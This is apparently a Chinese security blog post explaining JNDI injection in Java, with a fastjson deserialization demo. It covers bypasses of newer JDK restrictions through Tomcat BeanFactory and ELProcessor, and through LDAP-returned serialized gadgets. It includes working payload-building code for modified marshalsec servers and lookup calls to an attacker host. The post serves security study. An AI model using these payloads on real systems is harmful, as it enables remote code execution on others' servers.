文章目录
前言
关于JNDI注入的讨论和研究,起源于国外的安全研究员@pwntester在2016年Blackhat的一个议题:<A Journey from JNDI/LDAP operation to remote code execution dream> (参考[1]
).
本文是笔者之前学习JNDI注入原理的记录,因为博客迁移,以及最近进行Java漏洞攻防方面的知识回顾和梳理,遂在之前旧博客的基础上进行补充。内容包括JNDI注入原理,以及在Tomcat环境下如何绕过高版本JDK的限制进行利用。
JNDI 101
什么是JNDI
JNDI(Java Naming Directory Interface) 是Java提供的一个通用接口,使用它可以与各种不同的命名服务(Naming Service)和目录服务(Directory Service)进行交互,比如RMI(Remote Method Invocation),LDAP(Lightweight Directory Access Protocol),Active Directory,DNS,CORBA(Common Object Request Broker Architecture)等。
其中Naming Service 是对象和名称绑定在一起,然后可以通过名称去查找相应的对象。
而Directory Service是一种特殊的Naming Service,它允许存储和查找Directory对象,Directory对象和一般的对象不同在于它可以将属性和对象相关联。
官方提供的JNDI 架构图如下:
使用JNDI的好处
JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind操作。比如在RMI服务器端上可以不直接使用Registry进行bind操作,而是使用JNDI统一管理,当然JNDI底层应该还是调用的Registry进行bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。
另外,如上图的JNDI分层结构中,对SPI层和Naming Manager层,JVM在验证从何处加载远程类时的行为是不同。换言之,JVM对于从远程加载类有两种不同的安全级别,分别是SPI级别和Naming Manager级别。
在SPI级别中,如果JVM允许从远程加载类,需要根据不同的服务提供者(如RMI、LDAP、CORBA)来决定是否强制安装Security Manager安全管理器。具体条件如下表:
但是, Naming Manager层放宽了安全限制。解码JNDI命名引用时,始终允许从远程代码库加载类,而没有JVM选项来禁用它,并且不需要强制安装任何安全管理器。这使攻击者可以利用特定的情况来远程执行自己的代码。
几个简单的JNDI代码示例
1、使用JNDI操作RMI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());
//通过名称查找对象
ctx.lookup("refObj");
2、使用JNDI操作LDAP
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
JNDI动态协议转换
上面的两个例子都手动设置了对应服务的工厂以及对应服务的Context.PROVIDER_URL
,但是JNDI是能够进行动态协议转换的。
如:
Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");
上面没有设置对应服务的Context.INITIAL_CONTEXT_FACTORY
以及Context.PROVIDER_URL
,JNDI根据传递的URL协议自动转换与设置了对应的Context.INITIAL_CONTEXT_FACTORY
与Context.PROVIDER_URL
。
JNDI Naming References
为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况。因此JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference
类来表示,它由地址(RefAddress
)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory
类的名称和位置。
Reference
可以使用ObjectFactory
来构造对象。当使用lookup()
方法查找对象时,Reference
将使用提供的ObjectFactory
类的加载地址来加载ObjectFactory
类,ObjectFactory
类将构造出需要的对象。可以从远程加载地址来加载ObjectFactory
类,这是攻击者关注的点。
Reference reference = new Reference("refClassName","FactoryClassName",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("refObj", wrapper);
JNDI 注入利用
有了前面的基础知识,再来看看如何利用JNDI注入来实现RCE。
前面说到,存储在命名服务或目录服务的Reference
引用可以使用ObjectFactory
来构造对象,而Reference
可以根据指定的加载地址去加载远程的ObjectFactory
类。
假如lookup()
去查询的RMI/LDAP服务器是一个恶意的服务器,该恶意服务器会返回一个Reference
对象,这个Reference
对象会根据攻击者指定的地址去远程加载一个恶意的ObjectFactory
类,从而使得这个ObjectFactory
类中的恶意代码被执行。
不管是lookup
查询的是RMI服务还是LDAP服务,整个JNDI注入利用过程都可以归结如下:
- (1) 目标程序调用
InitialContext#lookup(String)
进行JNDI操作,且参数是用户可控,攻击者传入URL指向自己的恶意RMI/LDAP
服务器; - (2) 恶意
RMI/LDAP
服务器向目标程序返回一个恶意的JNDI引用Reference
,该Reference
对象包含了攻击者指定的恶意ObjectFactory
类的加载地址; - (3) 目标程序解码该JNDI Reference,得到恶意
ObjectFactory
类的加载地址; - (4) 目标程序从攻击者指定的远程加载地址获取恶意
ObjectFactory
类的class字节码; - (5) 实例化获取到的恶意
ObjectFactory
类,ObjectFactory
类中的恶意代码得以执行。
如下图:
下面以fastjson <= 1.2.47
的反序列化RCE漏洞为例,通过源码调试的方式加深对JNDI注入利用的理解。
环境:
(1) 基于Springboot搭建的简单web程序;
(2) JDK版本:8u101
;
(3)fastjson
的版本为1.2.47
(4) 使用marshalsec工具快速启动RMI
或LDAP
服务.
(5) 使用Python快速启动HTTP服务,用来托管恶意ObjectFactory
类。
以下GIF图以RMI向量为例,演示整个攻击的过程:
下面对RMI/LDAP向量分别进行源码调试。
RMI向量
使用Burpsuite向目标程序发送fastjson的exploit后,首先来到InitialContext#lookup(String)
,参数是exploit中指定的rmi://192.168.3.36:8085/Exploit
。
继续往下走,会在RegistryContext#lookup(Name)
中向恶意RMI
服务器发起查询请求,然后将请求得到的JNDI引用对象保存到变量var2
中,这个JNDI引用对象其实是ReferenceWrapper
,它是对Reference
对象的封装。然后将var2
传入RegistryContext#decodeObject()
对JNDI引用进行解码,从ReferenceWrapper
对象中获取Reference
对象。
继续往下走,会在NamingManager#getObjectInstance()
中,调用NamingManager#getObjectFactoryFromReference()
加载ObjectFactory
类。
来看看NamingManager#getObjectFactoryFromReference()
是如何实现的:
可以看到,会调用VersionHelper12#loadClass(String className, String codebase)
方法去远程地址加载恶意的ObjectFactory
类,VersionHelper12#loadClass()
实际上调用的就是Class.forName()
,使用的类加载器是URLClassLoader
。
再回过头看NamingManager#getObjectFactoryFromReference()
,远程获取到ObjectFactory
类的字节码后,会调用newInstance()
方法实例化对象,然后将ObjectFactory
对象返回。返回后,在NamingManager#getObjectInstance()
中,会调用ObjectFactory#getObjectInstance()
方法构造所要查询的原始对象并返回。
因此,我们的恶意代码可以写在以下三个地方:
- (1)
ObjectFactory
类的静态代码块; - (2)
ObjectFactory
类的构造方法; - (3)
ObjectFactory#getObjectInstance()
方法中。 - 这三种方式,ObjectFactory类的名字均可随意指定,但方式(3)需要你的类实现
javax.naming.spi.ObjectFactory
接口。
整个利用过程的主要调用栈如下:
InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->恶意代码被执行
或: objectfactory#getObjectInstance() //-->恶意代码被执行
LDAP向量
LDAP向量的话,只是lookup
时上下文使用了不同的上下文对象,处理ldap查询的细节不同而已,整个JNDI注入利用流程还是一样的,所以这里就不细说了。
整个利用过程的主要调用栈如下:
InitialContext#lookup()
LdapCtx#c_lookup()
Obj#decodeObject()
DirectoryManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->恶意代码被执行
或: objectfactory#getObjectInstance() //-->恶意代码被执行
其他向量
更多其他攻击向量详见<A Journey from JNDI/LDAP operation to remote code execution dream> (参考[1]
)。
平时代码审计挖洞的时候,要留意这些地方。
绕过高版本JDK限制
要注意的是,针对JNDI注入,后续的JDK版本,先后对RMI/LDAP两个攻击向量做了默认情况的限制:
- Oracle JDK 8u121, 7u131, 6u141及以后的版本,为了限制RMI协议的JNDI利用,将系统属性
com.sun.jndi.rmi.object.trustURLCodebase
的默认值设置为false
,即默认不允许RMI从远程地址加载objectfactory类。
Changelog:
JDK 6u141: http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
JDK 7u131: http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
JDK 8u121: http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
在com.sun.jndi.rmi.registry.RegistryContext#decodeObject()
方法中会做判断:
- Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,为了限制LDAP协议的JNDI利用,将系统属性
com.sun.jndi.ldap.object.trustURLCodebase
的默认值设置为false
,即默认不允许LDAP从远程地址加载objectfactory类。
Changelog:
JDK 8u191: https://www.oracle.com/java/technologies/javase/8u191-relnotes.html
在com.sun.naming.internal.VersionHelper12#loadClass()
方法中会做判断:
换言之,前面讨论的JNDI注入利用,在后续版本的JDK中,默认情况下都已失效。那么有没有办法绕过高版本JDK的限制,使JNDI注入再次生效呢?
方式1、利用本地Class作为JNDI Reference Factory
安全研究员@Michael Stepankin在文章< Exploiting JNDI Injections in Java> (参考[2]
)中给出了这种在Tomcat环境下可行的方法。
虽然高版本JDK默认情况下不允许JNDI Reference从远程地址加载ObjectFactory类。但仍旧可以加载一个存在于本地环境classpath
的ObjectFactory类。
以RMI向量为例,查看RegistryContext#decodeObject()
,返回的Reference
对象中,只要远程加载地址factoryClassLocation
为null
时,便会进入NamingManager.getObjectInstance()
加载指定的本地ObjectFactory类,关键代码如下:
因此,这个本地classpath
环境里的ObjectFactory类,需要满足以下条件:
- (1) 有无参构造方法;
- (2) 实现了
javax.naming.spi.ObjectFactory
接口,同时实现了该接口的getObjectInstance()
方法,并且在getObjectInstance()
方法中,会通过Reference
中的属性可能会作一些危险的操作。
Tomcat里的org.apache.naming.factor.BeanFactory
类就满足上述条件。在BeanFactory#getObjectInstance()
方法里,会通过反射机制去创建任意的Java bean对象,并调用该bean对象的所有属性的setter方法对其属性进行赋值,而且bean的类名、属性和属性值都来自可被攻击者控制的Reference
对象。
另外,非常有意思的是,在BeanFactory#getObjectInstance()
方法的逻辑里,可以根据Reference
的forceString
属性,来强制将bean对象某个属性的setter方法名指定为非setXXX()
。举个例子,假设攻击者将Reference
的forceString
属性设置为x=eval
,那么bean对象的x
属性的setter方法名就会变成eval
。
因为BeanFactory#getObjectInstance()的代码比较长,这里就不贴了。有兴趣的读者自行查阅源码,很有意思。
再根据BeanFactory#getObjectInstance()
方法里的逻辑,要想实现执行恶意代码的目的,我们需要找到一个Java bean,这个bean类得具有public
类型的无参构造方法,还得存在一个public
类型的成员方法且参数只有一个,类型为String
,关键这个成员方法还得执行危险操作。
同样也是Tomcat环境下的javax.el.ELProcessor
类就符合上述要求,关键ELProcessor#eval(String)
方法可以把传入的字符串作为Java EL表达式去执行。
因此,笔者在marshalsec
工具里新建了一个RMI服务类RMIRefServer_BypassHighJDK
,在RMIRefServer
类的基础上进行修改。关键部分代码如下,主要就是返回的Reference
对象的修改:
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef rref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
rref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
String expr1 = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec([";
String expr2 = "])\")";
String cmdArrStr = "";
for (int i = 0; i < this.cmdArray.length; i++) {
if (i != this.cmdArray.length - 1) {
cmdArrStr = cmdArrStr + "'" + this.cmdArray[i] + "',";
} else {
cmdArrStr = cmdArrStr + "'" + this.cmdArray[i] + "'";
}
}
String expr = expr1 + cmdArrStr + expr2;
System.out.println("expr=" + expr);
rref.add(new StringRefAddr("x", expr));
Reflections.setFieldValue(rw, "wrappee", rref);
由于高版本JDK,对于LDAP/RMI的限制是一样的,所以这里为了简单起见,就拿RMI服务为例进行修改。
利用这种方式绕过高版本JDK进行JNDI注入的攻击演示如下GIF图:
其实还可以举一反三,找找其他常见的Java Web环境是否还存在这样的ObjectFactory类,比如Jetty、Weblogic、JBoss、Resin等。随着Springboot的大行其道,内嵌Tomcat还是最常见的。
方式2、LDAP Server返回序列化数据,触发本地反序列化Gadget
LDAP目录服务,除了可以存储JNDI Reference对象,还可以存储Java序列化对象。所以我们的LDAP Server可以返回恶意的序列化对象给目标程序,触发本地的反序列化Gadget来实现RCE。
下面红框内的代码,表示目标程序对LDAP Serverlookup()
查询操作时,解码对象的过程中,如果发现LDAP Server返回的是一段Java序列化的数据,则进行Java反序列化操作。
所以可以在marshalsec
项目的LDAPRefServer
的基础上,创建新的LDAP Server类LDAPRefServer_BypassHighJDK
,关键代码如下:
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
// e.addAttribute("javaFactory", this.codebase.getRef());
//传入的是ysoserial生成的序列化payload
e.addAttribute("javaSerializedData", Base64.getDecoder().decode(this.payloadSerialBase64));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
在上面基于Springboot的fastjson应用中添加commons-collections:3.2.1
依赖包,使用的JDK版本为8u201
,重新编译打包,运行。
攻击演示如下:
坑
这里一开始使用ysoserial CommonsCollections的利用链利用失败,调试的时候发现报错,提示信息如下:Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
但我在目标环境确实引用的commons-collections
的版本是3.2.1
,这个针对反序列化的修复是在3.2.2
版本才加入的,所以很疑惑为什么会利用不成功。
后来我从IDEA的报错信息中的方法调用堆栈点进报错的代码文件,发现类文件并不是commons-collections
包里的,而是位于openjpa-all
这个依赖包里(这个依赖包是我以前测试其他程序的时候引入的,忘记去掉了…囧…)。原来,openjpa-all
这个依赖包的代码里,包含了commons-collections
修复版本的类给加进去了,如图:
所以在反序列化我们的payload的时候,目标程序就去这个依赖包里找对应的类,所以导致利用失败。把openjpa-all
依赖包去掉即可。
Reference
[1] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
[2] https://www.veracode.com/blog/research/exploiting-jndi-injections-java
[3] https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html